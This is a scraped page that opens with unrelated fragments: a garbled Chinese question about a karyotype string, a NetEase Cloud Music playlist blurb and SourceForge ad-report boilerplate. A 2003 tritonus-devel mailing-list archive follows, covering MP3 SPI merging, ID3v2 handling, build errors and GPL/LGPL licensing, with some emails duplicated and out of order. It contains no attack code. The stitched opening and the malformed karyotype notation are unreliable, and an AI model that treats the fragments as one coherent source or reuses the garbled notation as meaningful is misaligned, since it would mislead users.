xy是男孩还是女孩一岁 47,xy,aad(1)(q32),-5aad (7)(p15),+19+mar【11】/46,XY[2] 表示什么呢

好不好在一瞬间。(欧美) - 歌单 - 网易云音乐
好不好在一瞬间。(欧美)
有那么一瞬间心情好与坏。
播放:536次
网易云音乐多端下载
同步歌单,随时畅听320k好音乐
网易公司版权所有(C)杭州乐读科技有限公司运营:Tritonus / Mailing Lists
Thanks for helping keep SourceForge clean.
Screenshot instructions:
Click URL instructions:
Right-click on ad, choose "Copy Link", then paste here &
(This may not be possible with some types of ads)
You seem to have CSS turned off.
Please don't fill out this field.
You seem to have CSS turned off.
Please don't fill out this field.
Briefly describe the problem (required):
Upload screenshot of ad (required):
, or drag & drop file here.
Please provide the ad click URL, if possible:
Mailing Lists
Brought to you by:
tritonus-devel
& For tritonus developers
You can subscribe to this list .
results of 21
Good work Tony !
& One other idea ( besides making javalayer LGPL ) would be use
& javalayerme which is licensed under LGPL.
I'm not sure how stable it is
& in comparison to the base javalayer.
JavaLayer will be renamed (because of Java/SUN TradeMark problem) and will be moved into
LGPL. If you have any improvements for JavaLayer, then let me know, I could include them
in the next LGPL release. Note that JavaLayerME is not as stable as JavaLayer.
Cheers, Eric
at 01:00, Florian Bomers wrote:
& that's great - good work!
& Some comments:
& On 22 Sep 2003 at 18:07, Tony Espy wrote:
& & (1) I added logic to detect AU/WAV/AIFF files at the start of
& & getAudioFileFormat().
This was done because of problems resetting the
& & InputStream if the search for a valid MP3 frame exceeded mark size of
& & the underlying stream ( in my case JavaSoundAudioClip sets a mark of
& & 1024 on the underlying BufferedInputStream ).
The Javalayer
& & Bitstream.readFrame() code can easily go past this limit trying to find
& & a valid MP3 frame in a non-MP3 file ( eg. WAV/AIFF/AU ) causing the
& & reset() to fail in TAudioFileReader.
This problem basically prevents
& & the next SPI from being able to process the stream.
& In general a good idea, but are you sure that there isn't a more effective way
& of detecting if we handle an MP3 file at all? Like "ID3" at the beginning, or
& passing a maxLimit to the javalayer code? If mp3 files do not contain a
& prepended id3v2 tag, they should always start with a sync mark, shoudn't they?
Given a file without ID3v2 tags, I still don't think it's correct to
assume that the file starts with a valid frame, although in most
real-world cases it should.
As for passing a maxLimit to the javalayer code, that could work.
didn't do this because:
(a) given the potential licensing issues, I shied away from touching the
(b) it seemed inefficient to read thru the first 1024 bytes of the file
( which is what the limit would have to be for files not starting with
"ID3" ) just to figure out that the file isn't an mp3;
(c) there's the possibility that a non-mp3 file could contain a series
of bytes that look like an mp3 frame header.
I've actually run into
this in my testing.
I think to be safe, at least two valid frames need
to be found to guarantee that the file is really an mp3 file ( maybe
this should go on the TODO list for javalayer );
(d) lastly...the InputStream passed in to getAudioFileFormat() may not
be a FileInputStream under the covers right?
If the InputStream
represents an mp3 stream from another server, the first few bytes read
may not start on a frame boundary.
I know from a purist design standpoint it's probably not the best
approach to have an MpegFileReader know about other file formats, but it
seemed the simplest approach, and it works.
& & (2) Right now, the code rejects both WAV and Broadcast WAV files.
& & Broadcast WAV files support MPEG data, I'm not sure if this was the
& & right thing to do??
& Yes, because those would be handled in a WAVE file reader.
Does the default JavaSound WAVFileReader handle broadcast WAV files
containing MPEG data?
& & (3) I also needed to bump up the MARK_LIMIT and buffer size of the
& & PushbackInputStream.
The code from Javazoom used a value of 4096.
& & is way too small, as ID3v2 tags can easily be larger than 4k.
& & cover art, and the headers can push 40-50k easily.
I currently have the
& & MARK_LIMIT set to '64000'.
Even this might be too small for some files.
& I don't see any problem with this (only thing that seems odd is that you need a
& PIS at all).
The code MpegFileReader from javazoom had
PIS which it used to check
for shoutcast or ogg streams.
I extended the existing code to check for
the other file formats.
I suppose I could have just used a reset() on
the given InputStream after reading the first 12 bytes of the file
& & Since TAudioFileReader() always calls reset(), if the MARK_LIMIT isn't
& & greater than the size of the ID3v2 tags, then an IOException occurs.
& & Note -- we might want to investigate an optimization for MP3 files
& & containing ID3 tags.
If the 1st three bytes of the stream are "ID3",
& & then the length could be retrieved and used to skip ahead to where the
& & first frame should be.
& exactly...
I think this should go on the TODO list for javalayer.
This will also
give us a chance to work out the licensing issues.
& Well, I am still not sure about the license issue. If the tight coupling with
& javalayer's mp3 code means that our mp3 plugin must be made GPL, too, I will
& maintain my reservation towards that solution. It's not that I just don't like
& GPL (for many reasons), but more that a GPL plug-in can *only* be used by GPL
& software, which is rather limiting.
& I am not sure how Matthias thinks about it, but I think also tritonus and its
& plugins would be great under a BSD-style license.
Eric B. ( from javazoom ) had made two statements previously re: this
(1) That there was some kind of exception made for Tritonus re: it's
(2) that code that uses the tritonus_mp3 code via the JavaSound SPI
mechanism was not violating the GPL, because there isn't a direct
I'll leave it up to you guys to deal with the licensing issue.
There's
not much else I can contribute.
Originally I'd thought that if necessary, we could re-write the code
that handles finding valid mp3 frames, however given the fact that the
tritonus mp3 code already uses javalayer for decoding mp3s, this really
doesn't solve anything.
One other idea ( besides making javalayer LGPL ) would be use
javalayerme which is licensed under LGPL.
I'm not sure how stable it is
in comparison to the base javalayer.
& & Also, I need to know how to proceed to get this code into the tritonus
& & source tree.
& Matthias and I can check it in any time, if we have a solution regarding the
& licensing.
Keep me posted.
& & // Damned, dirty solution to pass extra parameters. I
& & hope TIGER (JDK 1.5) will improve that.
& Nice comment :) We just got approval for allowing creation of arbitrary
& Encoding and Type instances (i.e. their constructor will be made public in
& 1.5). The "properties" approach for file format and audio format is still
& pending approval. There is quite some concern among the API gurus at Sun - but
& Matthias and I work them :)
That's Eric's comment, not mine! ;)-
anyways, thanks for your response.
"Jazz isn't dead, it just smells funny." - Frank Zappa
that's great - good work!
Some comments:
On 22 Sep 2003 at 18:07, Tony Espy wrote:
& (1) I added logic to detect AU/WAV/AIFF files at the start of
& getAudioFileFormat().
This was done because of problems resetting the
& InputStream if the search for a valid MP3 frame exceeded mark size of
& the underlying stream ( in my case JavaSoundAudioClip sets a mark of
& 1024 on the underlying BufferedInputStream ).
The Javalayer
& Bitstream.readFrame() code can easily go past this limit trying to find
& a valid MP3 frame in a non-MP3 file ( eg. WAV/AIFF/AU ) causing the
& reset() to fail in TAudioFileReader.
This problem basically prevents
& the next SPI from being able to process the stream.
In general a good idea, but are you sure that there isn't a more effective way
of detecting if we handle an MP3 file at all? Like "ID3" at the beginning, or
passing a maxLimit to the javalayer code? If mp3 files do not contain a
prepended id3v2 tag, they should always start with a sync mark, shoudn't they?
& (2) Right now, the code rejects both WAV and Broadcast WAV files.
& Broadcast WAV files support MPEG data, I'm not sure if this was the
& right thing to do??
Yes, because those would be handled in a WAVE file reader.
& (3) I also needed to bump up the MARK_LIMIT and buffer size of the
& PushbackInputStream.
The code from Javazoom used a value of 4096.
& is way too small, as ID3v2 tags can easily be larger than 4k.
& cover art, and the headers can push 40-50k easily.
I currently have the
& MARK_LIMIT set to '64000'.
Even this might be too small for some files.
I don't see any problem with this (only thing that seems odd is that you need a
PIS at all).
& Since TAudioFileReader() always calls reset(), if the MARK_LIMIT isn't
& greater than the size of the ID3v2 tags, then an IOException occurs.
& Note -- we might want to investigate an optimization for MP3 files
& containing ID3 tags.
If the 1st three bytes of the stream are "ID3",
& then the length could be retrieved and used to skip ahead to where the
& first frame should be.
exactly...
& Anyways, please let me know if any of you have any comments, concerns,
Well, I am still not sure about the license issue. If the tight coupling with
javalayer's mp3 code means that our mp3 plugin must be made GPL, too, I will
maintain my reservation towards that solution. It's not that I just don't like
GPL (for many reasons), but more that a GPL plug-in can *only* be used by GPL
software, which is rather limiting.
I am not sure how Matthias thinks about it, but I think also tritonus and its
plugins would be great under a BSD-style license.
& Also, I need to know how to proceed to get this code into the tritonus
& source tree.
Matthias and I can check it in any time, if we have a solution regarding the
licensing.
& // Damned, dirty solution to pass extra parameters. I
& hope TIGER (JDK 1.5) will improve that.
Nice comment :) We just got approval for allowing creation of arbitrary
Encoding and Type instances (i.e. their constructor will be made public in
1.5). The "properties" approach for file format and audio format is still
pending approval. There is quite some concern among the API gurus at Sun - but
Matthias and I work them :)
THanks a lot!
& Tony Espy
& Pepper Computer, Inc.
Florian Bomers
& Freeware and Shareware for musicians and developers
& Open source Java Sound implementation and plug-ins
& The Java Sound Resources
-----------------------------------------------------
Please quote this email in your reply so that I know
what you refer to. Most email programs quote auto-
matically when using the Reply button.
I finished merging the latest tritonus version of MpegAudioFileReader
(1.5) and the version from Javazoom.
I've attached a diff, plus the
resultant merged source.
Note -- I needed to re-add MpegFileFormatType
to get things to work.
A couple of things to note:
(1) I added logic to detect AU/WAV/AIFF files at the start of
getAudioFileFormat().
This was done because of problems resetting the
InputStream if the search for a valid MP3 frame exceeded mark size of
the underlying stream ( in my case JavaSoundAudioClip sets a mark of
1024 on the underlying BufferedInputStream ).
The Javalayer
Bitstream.readFrame() code can easily go past this limit trying to find
a valid MP3 frame in a non-MP3 file ( eg. WAV/AIFF/AU ) causing the
reset() to fail in TAudioFileReader.
This problem basically prevents
the next SPI from being able to process the stream.
(2) Right now, the code rejects both WAV and Broadcast WAV files.
Broadcast WAV files support MPEG data, I'm not sure if this was the
right thing to do??
(3) I also needed to bump up the MARK_LIMIT and buffer size of the
PushbackInputStream.
The code from Javazoom used a value of 4096.
is way too small, as ID3v2 tags can easily be larger than 4k.
cover art, and the headers can push 40-50k easily.
I currently have the
MARK_LIMIT set to '64000'.
Even this might be too small for some files.
Since TAudioFileReader() always calls reset(), if the MARK_LIMIT isn't
greater than the size of the ID3v2 tags, then an IOException occurs.
Note -- we might want to investigate an optimization for MP3 files
containing ID3 tags.
If the 1st three bytes of the stream are "ID3",
then the length could be retrieved and used to skip ahead to where the
first frame should be.
Anyways, please let me know if any of you have any comments, concerns,
Also, I need to know how to proceed to get this code into the tritonus
source tree.
Pepper Computer, Inc.
is there really any chance that javalayer can be re-released as LGPL? Matthias
and I thought that would be impossible, since there are co-authors that can't
be reached anymore...
I don't want any component of Tritonus become GPL. That means, too, that we
can't put GPL code in Tritonus' MP3 conversion provider and file reader
provider... (we can use it though). My goal is to get away from any GNU
license. They only cause headaches :)
On 8 Sep 2003 at 16:54, Florian Bomers wrote:
Date sent:
Mon, 08 Sep :44 -0700
Florian Bomers &Florian.Bomers@...&
Re: MP3 SPIs : JavaZOOM & Tritonus
florian@...
Organization:
Sun Microsystems, Inc.
& & Could you send me the new JAR files and source code,
& & I would like to make a few tests.
& & I've many mp3, shoutcast streams, remote mp3 to
& I have not done the merge yet, I just analyzed what
& needed to be done.
& & The converter part also needs JavaLayer.
& & tritonus_mp3.jar will need most JavaLayer classes.
& Yes, you're right.
It looks like the
& MpegFormatConversionProvider already uses a bunch of
& the JavaLayer classes.
& & For the licensing issues :
& & ------------------------
& & In my opinion, following solutions are possible :
& & 1 - Make JavaLayer LGPL. To do so I need to provide
& & an updated version such as 1.0. I can't move
& released
& version.
& & 2 - Make tritonus_mp3.jar under GPL, the problem is
& & that tritonus_share.jar must be
under GPL too. If others classes in Tritonus
& & depends on tritonus_share.jar they
have to be moved under GPL too ...
& & 3 - Make JavaLayer under DUAL licensing (GPL +
& & Apache like or ?). Need updated
version too.
& & 4 - Provide a special term for Tritonus.org to avoid
& & any licensing modifications.
As we did until now.
& & For now, let's continue with (4) then I should
& & provide/add JavaLayer to another license
& & (this year) with the next release. Note that some
& & bugs has been noticied with ID3v2.4 tags.
& I personally think (4) is the best solution too (
& until you can re-release javalayer as LGPL ).
I will go ahead then and do the merge using the
& JavaLayer 'Bitstream' and 'Header' and header classes
& unless I hear any objects from Florian or Matthias.
& I will try and have the merge done by the end of the
& week, and will send you source code and jars to test.
& Tony Espy &tespy@...&
& "Jazz isn't dead, it just smells funny."
& Frank Zappa
& __________________________________
& Do you Yahoo!?
& Yahoo! SiteBuilder - Free, easy-to-use web site design software
Florian Bomers
& Freeware and Shareware for musicians and developers
& Open source Java Sound implementation and plug-ins
& The Java Sound Resources
-----------------------------------------------------
Please quote this email in your reply so that I know
what you refer to. Most email programs quote auto-
matically when using the Reply button.
Support Requests item #746167, was opened at
Message generated for change (Comment added) made by florian
You can respond by visiting:
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: John McKnight (jknight5422)
Assigned to: Nobody/Anonymous (nobody)
Summary: How do I setup USB support with JavaSound?
Initial Comment:
I wish to send in Redhat 8 mp3 files to a
usb port. I have a Xitel device hooked on
one end which will convert the signal for
stereo use.
XMMS works with it via an OSS driver
without any problems. Does anyone
have any info on how I can put /dev/dsp1
into JavaSound?
Perhaps I need to plug
it in so that it shows up in a mixer listing?
Any ideas will be helpful.
John McKnight
----------------------------------------------------------------------
Comment By: Florian Bomers (florian)
Logged In: YES
user_id=9586
This request is not specific to Tritonus. It is a general Java Sound
question/issue/topic. Please go to
and check the
Help section for how to get help.
Your best bet is to subscribe to the Java Sound interest mailing
list, and post your request there. Subscription, and info:
If you think that this request relates indeed to Tritonus only,
please subscribe and use one of the 2 following mailing lists:
tritonus-user for users of Tritonus and developers using Tritonus:
tritonus-devel for development of Tritonus itself:
----------------------------------------------------------------------
Comment By: Matthias Pfisterer (pfisterer)
Logged In: YES
user_id=6026
I guess you use the ESD mixer of Tritonus. It always uses
/dev/dsp0, unless you do special configuration, which is not
recommanded. The solution would be to switch to the ALSA
drivers (, also part of most
common Linux distributions). Using the ALSA mixer of
Tritonus, you can access all soundcards. But please note
that you are loosing the mixing feature unless your souncard
does mixing in hardware.
----------------------------------------------------------------------
You can respond by visiting:
Support Requests item #802852, was opened at
Message generated for change (Comment added) made by florian
You can respond by visiting:
Category: None
Group: None
Status: Open
&Resolution: Rejected
Priority: 5
Submitted By: Jim Martin (mikediamond)
Assigned to: Nobody/Anonymous (nobody)
Summary: Process Midi Events
Initial Comment:
I want to write a Java Application that "processes"
Midi "Note On" signals from a keyboard and extracts the
Velocity data.
The addControllerEventListener() will not respond
to "Note On" signals, because it is not a Controller (0xB0
status byte).
What is the best way to respond to "Note On" signals?
----------------------------------------------------------------------
Comment By: Florian Bomers (florian)
Logged In: YES
user_id=9586
Discussion of tritonus related issues takes place on the tritonus-
user mailing list. Please post your request on that mailing list.
Subscription and more info:
----------------------------------------------------------------------
You can respond by visiting:
Support Requests item #802850, was opened at
Message generated for change (Comment added) made by florian
You can respond by visiting:
Category: None
Group: None
Status: Open
&Resolution: Rejected
Priority: 5
Submitted By: Jim Martin (mikediamond)
Assigned to: Nobody/Anonymous (nobody)
Summary: Muting a Midi Track with javax.sound.midi`
Initial Comment:
After starting to record a sequence with
Sequence.startRecording(), is there a way so that I do
not have to listen to the sequence as well?
Can I mute
the track while it is recording?
I've tried
Track.muteTrack(), but it does not work?
----------------------------------------------------------------------
Comment By: Florian Bomers (florian)
Logged In: YES
user_id=9586
Discussion of tritonus related issues takes place on the tritonus-
user mailing list. Please post your request on that mailing list.
Subscription and more info:
----------------------------------------------------------------------
You can respond by visiting:
Support Requests item #802849, was opened at
Message generated for change (Comment added) made by florian
You can respond by visiting:
Category: None
Group: None
Status: Open
&Resolution: Rejected
Priority: 5
Submitted By: Jim Martin (mikediamond)
Assigned to: Nobody/Anonymous (nobody)
Summary: computer crash with javax.sound.midi
Initial Comment:
I have written a program that plays a Midi input stream
from a keyboard (UsB MidiMan adapter), but after the
2nd time that I open the program (without restarting),
the computer will restart after a few minutes.
why won't it restart during the first time that it was
is the sequencer still open?
is the synthesizer still open after the application quits?
why does it restart on a dell computer but not a compaq?
----------------------------------------------------------------------
Comment By: Florian Bomers (florian)
Logged In: YES
user_id=9586
Discussion of tritonus related issues takes place on the tritonus-
user mailing list. Please post your request on that mailing list.
Subscription and more info:
----------------------------------------------------------------------
You can respond by visiting:
at 16:02, Matthias Pfisterer wrote:
& Tony Espy &espy@...& schrieb am 09.09.03 21:21:40:
& & According to the file INSTALL (1.15) to build the pure Java tritonus
& & code with support for MP3, you need to ensure that javalayer.jar is in
& & your classpath.
& & I did this, however when I run make, I get the following compiler errors
& It is recommanded to use ant. See INSTALL. (However, this is unrelated to the error.)
I did use ant, but apparently my brain didn't realize so when I wrote
this email!)-
& & which seem to be unrelated to the presence of the javalayer ( actually
& & jl020.jar ) in my classpath:
& & compile-javalayer-dependent:
[javac] Compiling 1 source file to /home/espy/tritonus-latest/build
& Ah, that's my fault.
& I changed the base class (TAsynchronousFilteredAudioInputStream). Instead of accessing m_circularBuffer directly, there is now a protected accessor method getCircularBuffer(). It looks like I overlooked the MpegFormatConversionProvider when I made this modification. If you change all occurences of m_circularBuffer to getCircularBuffer(), it should work.
OK, that makes sense.
Thanks again for your help!
Tony Espy &espy@...& schrieb am 09.09.03 21:21:40:
& According to the file INSTALL (1.15) to build the pure Java tritonus
& code with support for MP3, you need to ensure that javalayer.jar is in
& your classpath.
& I did this, however when I run make, I get the following compiler errors
It is recommanded to use ant. See INSTALL. (However, this is unrelated to the error.)
& which seem to be unrelated to the presence of the javalayer ( actually
& jl020.jar ) in my classpath:
& compile-javalayer-dependent:
[javac] Compiling 1 source file to /home/espy/tritonus-latest/build
Ah, that's my fault.
I changed the base class (TAsynchronousFilteredAudioInputStream). Instead of accessing m_circularBuffer directly, there is now a protected accessor method getCircularBuffer(). It looks like I overlooked the MpegFormatConversionProvider when I made this modification. If you change all occurences of m_circularBuffer to getCircularBuffer(), it should work.
/home/espy/tritonus-latest/src/org/tritonus/sampled/convert/javalayer/MpegFormatConversionProvider.java:481: m_circularBuffer has private access in org.tritonus.share.sampled.convert.TAsynchronousFilteredAudioInputStream
& m_circularBuffer.close();
& /home/espy/tritonus-latest/src/org/tritonus/sampled/convert/javalayer/MpegFormatConversionProvider.java:486: m_circularBuffer has private access in org.tritonus.share.sampled.convert.TAsynchronousFilteredAudioInputStream
& m_circularBuffer.write(m_oBuffer.getBuffer(), 0,
& m_oBuffer.getCurrentBufferSize());
[javac] 2 errors
& BUILD FAILED
& file:/home/espy/tritonus-latest/build.xml:43: C see the
& compiler error output for detail
& Any help would be much appreciated as I'm trying to do the merge of the
& JlGui version of the MpegAudioFileReader with the latest version in
& Tritonus, as both versions have mutually exclusive bugs.
& Note -- my tritonus CVS tree was updated fresh before I attempted a
& -------------------------------------------------------
& This sf.net email is sponsored by:ThinkGeek
& Welcome to geek heaven.
& _______________________________________________
& tritonus-devel mailing list
& tritonus-devel@...
______________________________________________________________________________
38xTestsieger - WEB.DE FreeMail - Deutschlands beste E-Mail
mehr Spass durch Smileys, Bilder, Musik,...
thanks for your effort. Maybe you want to team up with Tony Espy. He's workin on the same issue.
Here is his e-mail address:
Max Jacob &Max.Jacob@...& schrieb am 13.08.03 09:05:50:
& Yes, it seems to be related to the id3 header. I have lame 3.93 and
& i convert a file to mp3 using the tritonus service provider (and without
& setting any property for the lame encoder), the result is a file with
& lots (417, if i'm not wrong) of zeros at the beginning and something
& that seems an id3 header after this.
& Anyway, the only problem is that the MpegAudioFileReader doesn't find a
& sync bit compliant header and fails. Thus, generally formulated, the
& problem is to add to the MpegAudioFileReader a type detection mechanisme
& that "recognizes" this particular header, but paying attention on beeing
& too permissive in order to avoid "recognition" of correct files that
& simply are not mp3.
& I've wrote quickly such a thing: it's quite crap since i had to make it
& work fast, but i will probably refine it and if you're interested...
& (it's not really a complicate issue,
but anyhow).
& Matthias Pfisterer wrote:
& &Hi Max,
& &can you check if your problem is due to id3 header? If so, use the mp3 decoder version from javazoom (exact URL is in the FAQ).
& &Matthias
______________________________________________________________________________
38xTestsieger - WEB.DE FreeMail - Deutschlands beste E-Mail: Modernste
Sicherheitstechnologie (SSL, x.509, S-MIME)-
Hi Gabriele,
I'm sorry for the late answer.
I'm currently in
Santa Clara, working for Sun Microsystems on their Java Sound implementation. That's why (a) I'm quite busy, (b) I hav not much time to improve Tritonus and (c) I don't have my usual development environment at hand.
However, your work is highly appreciated. I saw your service requests and found them quite interesting and important issues. I'll address them once I'm back in Germany (my internship at Sun ends on 10/17/2003).
Work on the Java Sequencer is also welcome. While for me, it is more a proof-of-concept, I'm surprised that people are really using it. On Linux, where I tested it, it uses a great deal of CPU resources due to the busy waiting design. On Windows with the inferiour threading support it was reported to be even worse. Don't you have such problems on Mac OS X?
For bringing back the changes you make to JavaSequencer.java, the common way is to send a diff against the latest CVS version. If you want to make a great number of changes, it may be easier that you become a member of the Tritonus team, so that you can check back changes yourself. However, I have to discuss this with Florian.
Again thanks for your work,
Anouchka et Gabriele Mondada &mondada@...& schrieb am 16.08.03 14:42:10:
& I found some very helpful stuff on . I'm
& using Java to ALSA interface on a Linux/JDK1.4.1 and I'm
& using JavaSequencer on a Mac OS X.
& Thanks a lot for sharing your work.
& I'm very interesting on JavaSequencer for my application and
& I'm adding some features to it (start/stop in the middle of
& the sequence, change carret positioin and tempo on the fly,
& and so on).
& I already posted few "requests" in your bug traking system.
& Are you interested on my job ? Can I modify and send you
& back JavaSequence.java with my modifications. I know that
& it's often not suitable to find modifications from another
& guy in his own code...
& I will send you my copy and you decide to do what you want.
& OK for you ?
& Best regards,
& Gabriele
______________________________________________________________________________
38xTestsieger - WEB.DE FreeMail - Deutschlands beste E-Mail.
Immer verfuegbar mit POP3, IMAP, SMTP, WAP -
According to the file INSTALL (1.15) to build the pure Java tritonus
code with support for MP3, you need to ensure that javalayer.jar is in
your classpath.
I did this, however when I run make, I get the following compiler errors
which seem to be unrelated to the presence of the javalayer ( actually
jl020.jar ) in my classpath:
compile-javalayer-dependent:
[javac] Compiling 1 source file to /home/espy/tritonus-latest/build
/home/espy/tritonus-latest/src/org/tritonus/sampled/convert/javalayer/MpegFormatConversionProvider.java:481: m_circularBuffer has private access in org.tritonus.share.sampled.convert.TAsynchronousFilteredAudioInputStream
m_circularBuffer.close();
/home/espy/tritonus-latest/src/org/tritonus/sampled/convert/javalayer/MpegFormatConversionProvider.java:486: m_circularBuffer has private access in org.tritonus.share.sampled.convert.TAsynchronousFilteredAudioInputStream
m_circularBuffer.write(m_oBuffer.getBuffer(), 0,
m_oBuffer.getCurrentBufferSize());
[javac] 2 errors
BUILD FAILED
file:/home/espy/tritonus-latest/build.xml:43: C see the
compiler error output for detail
Any help would be much appreciated as I'm trying to do the merge of the
JlGui version of the MpegAudioFileReader with the latest version in
Tritonus, as both versions have mutually exclusive bugs.
Note -- my tritonus CVS tree was updated fresh before I attempted a
Failed to deliver to '&MAILER-DAEMON@...&'
Virus(es) found.
movie0045.pif is infected with W32/Sobig.f@...
Viruses: 1
Trojans: 0
------------------------------------
[Captured by Doris Antivirus System]
Support Requests item #802850, was opened at
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting:
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Jim Martin (mikediamond)
Assigned to: Nobody/Anonymous (nobody)
Summary: Muting a Midi Track with javax.sound.midi`
Initial Comment:
After starting to record a sequence with
Sequence.startRecording(), is there a way so that I do
not have to listen to the sequence as well?
Can I mute
the track while it is recording?
I've tried
Track.muteTrack(), but it does not work?
----------------------------------------------------------------------
You can respond by visiting:
Support Requests item #802849, was opened at
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting:
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Jim Martin (mikediamond)
Assigned to: Nobody/Anonymous (nobody)
Summary: computer crash with javax.sound.midi
Initial Comment:
I have written a program that plays a Midi input stream
from a keyboard (UsB MidiMan adapter), but after the
2nd time that I open the program (without restarting),
the computer will restart after a few minutes.
why won't it restart during the first time that it was
is the sequencer still open?
is the synthesizer still open after the application quits?
why does it restart on a dell computer but not a compaq?
----------------------------------------------------------------------
You can respond by visiting:
Support Requests item #802852, was opened at
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting:
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Jim Martin (mikediamond)
Assigned to: Nobody/Anonymous (nobody)
Summary: Process Midi Events
Initial Comment:
I want to write a Java Application that "processes"
Midi "Note On" signals from a keyboard and extracts the
Velocity data.
The addControllerEventListener() will not respond
to "Note On" signals, because it is not a Controller (0xB0
status byte).
What is the best way to respond to "Note On" signals?
----------------------------------------------------------------------
You can respond by visiting:
thank you very much for sending us the code.
I think Matthias and I would really like to keep tritonus_mp3.jar under LGPL.
Detecting the ID3v2 tag is not difficult, and we don't have support for
shoutcast anyway, currently. So I'd rather not use your code if it means that
we have to transfer to GPL. Or do you think that this is independent of the
ID3v2/shoutcast parser and tritonus_mp3 must be GPL already in the current
version? I forgot the fine details of GPL and LGPL...
On 28 Aug 2003 at 13:46, JavaZOOM wrote:
JavaZOOM &support@...&
Florian Bomers &florian@...&
Copies to:
tritonus-devel@..., Tony Espy &espy@...&
Re: [tritonus-devel] Re: Problems with MpegAudioFileReader.java in
latest CVS tree
Date sent:
Thu, 28 Aug :57 +0200
& I join our MpegAudioSPI 1.6 source code.
& I think it should be integrated/modified to be compliant with
& tritonus_share.jar. We had a discussion about that with Matthias last year. For
& me the official MPEG SPI should be a part of the Tritonus project. Our SPI
& supports shoutcast streaming and skips ID3 tags.
& For the license, this MPEG SPI has to be under GPL because it relies (directly)
& on JavaLayer API. That's why spliting tritonus_mp3.jar and tritonus_share.jar is
& a good idea. tritonus_mp3.jar will be under GPL and tritonus_share.jar could be
& under LGPL. Then program that use MPEG SPI won't be contaminated by GPL because
& it relies on JavaSound SPI not on JavaLayer API at all. That's the loop.
& Please let me know if you plan to update tritonus_mp3.jar with out SPI.
& Best regards, Eric.
& Florian Bomers wrote:
& & Hi Eric,
& & that's a great idea :) could you just send it to this list? Under which
& & license is that code? Is it compatible with the LGPL?
& & Thanks!
& & Florian
& & On 18 Aug 2003 at 19:37, JavaZOOM wrote:
JavaZOOM &support@...&
Tony Espy &espy@...&
& & Copies to:
tritonus-devel@...
& & Subject:
[tritonus-devel] Re: Problems with MpegAudioFileReader.java
& & in latest CVS tree Date sent:
Mon, 18 Aug :44 +0200
& &&I could provide the source code of MPEG SPI 1.6 if needed.
& &&Tony Espy wrote:
& &&&sorry for posting to this list, however i've spent the past week
& &&&debugging problems with jlGui and the tritonus classes it ships in
& &&&mp3sp*.jar.
& &&&i orginally saw a post from matthias on the javasound list that
& &&&indicated that the tritonus classes included in mp3*.jar were old and
& &&&that a better solution was to download the latest tritonus_share.jar and
& &&&tritonus_mp3.jar files.
this fails for me too with different symptoms.
& &&&i entered a tritonus bug on friday that i know believe to be incorrect.
& &&&here's the problems i'm seeing:
& &&&(1) if i use any version of the mp3sp*.jar file from the javazoom jlGui
& &&&project, i am able to play mp3s.
however if i try and play a
& &&&WAV/AU/AIFF file, i get no sound.
i believe this is due to the problem
& &&&i described in the tritonus bug i added friday.
the MpegAudioFileReader is
& &&&not resetting the InputStream, so the next provider checked by AudioSystem
& &&&chokes on an EOFException.
after updating my tritonus source tree, it looks
& &&&like this was fixed when the tree was re-organized and the TAudioFileReader
& &&&class added?
& &&&(2) if i use tritonus_mp3.jar ( and share ) instead of mp3sp*.jar, i am
& &&&able to play WAV/AIFF/AU files fine, however MP3 files don't work too
& &&&well, or don't play at all.
& &&&one obvious problem i see is that the MpegAudioFileReader class is
& &&&looking for a SYNC frame at the start of the InputStream.
this won't
& &&&fly if the MP3 file has an ID3v2 header ( which comes at the start of
& &&&the file ).
maybe i'm missing code that skips the ID3 header?? when i
& &&&walk thru the debugger, an exception gets thrown when the code checks
& &&&nHeader against SYNC.
& &&&i also downloaded a friend's old MP3 off the net cause i figured he
& &&&might have older tags ( check out:
& &&&i tried to play this song, i got an exception in
& &&&jlGio.BasicPlayer.getBitRate().
& &&&anyways, now i'm kind of stuck.
if i use the older code, MP3s work
& &&&fine, but WAV/AU/AIFFs don't.
upgrading to the new tritonus code fixes
& &&&the problem, but then MP3s don't work too well anymore.
& &&&finally... i will gladly help fix the problem, however i have had
& &&&trouble building tritonus on my redhat 9.1 system.
& &&& ./ make
& &&&and get the following errors:
& &&&*** No rule to make target `Alsa.class', needed by
& &&&`org_tritonus_lowlevel_alsa_Alsa.h'.
& &&&make[1]: Leaving directory `/home/espy/tritonus/src/lib/alsa'
& &&&make[1]: Entering directory `/home/espy/tritonus/src/lib/esd'
& &&&make[1]: *** No rule to make target `EsdRecordingStream.class', needed
& &&&by `org_tritonus_lowlevel_esd_EsdRecordingStream.h'.
& &&&make[1]: Leaving directory `/home/espy/tritonus/src/lib/esd'
& &&&make[1]: Entering directory `/home/espy/tritonus/src/lib/cooked_ioctl'
& &&&make[1]: *** No rule to make target `CookedIoctl.class', needed by
& &&&`org_tritonus_lowlevel_cdda_cooked_0005fioctl_Cooked
& &&&any help, suggestions, etc... would be greatly appreciated.
& &&&thanks,
& &&&/tony
& &&-------------------------------------------------------
& &&This SF.Net email sponsored by: Free pre-built ASP.NET sites including
& &&Data Reports, E-commerce, Portals, and Forums are available now.
& &&Download today and enter to win an XBOX or Visual Studio .NET.
& &&_______________________________________________ tritonus-devel mailing list
& &&tritonus-devel@...
Florian Bomers
& Freeware and Shareware for musicians and developers
& Open source Java Sound implementation and plug-ins
& The Java Sound Resources
-----------------------------------------------------
Please quote this email in your reply so that I know
what you refer to. Most email programs quote auto-
matically when using the Reply button.
great stuff! I guess adding a static method for float[]-to-byte[] conversion
would be better, since these new setter methods can easily bring the
FloatSampleBuffer instance in an inconsistent state.
I'll transfer the bug fix for the silence function.
Thank you very much!
On 31 Aug 2003 at 23:21, Diego Tognola wrote:
"Diego Tognola" &diego@...&
&tritonus-devel@...&
[tritonus-devel] using tritonus to convert float[] to audio-byte[]
Date sent:
Sun, 31 Aug :15 +1000
& Hello guys :-)
& I've modified org.tritonus.share.sampled.FloatSampleBuffer in a way such
& that I can use it for conversion of a float[] array to the corresponding
& byte[] representation under a given audioformat.
& a usage example would be something like :
float[] audioFloats = getWaveFunction().executeOnDomain();
FloatSampleBuffer floatSampleBuffer = new FloatSampleBuffer();
floatSampleBuffer.setChannel(0, audioFloats); // mono
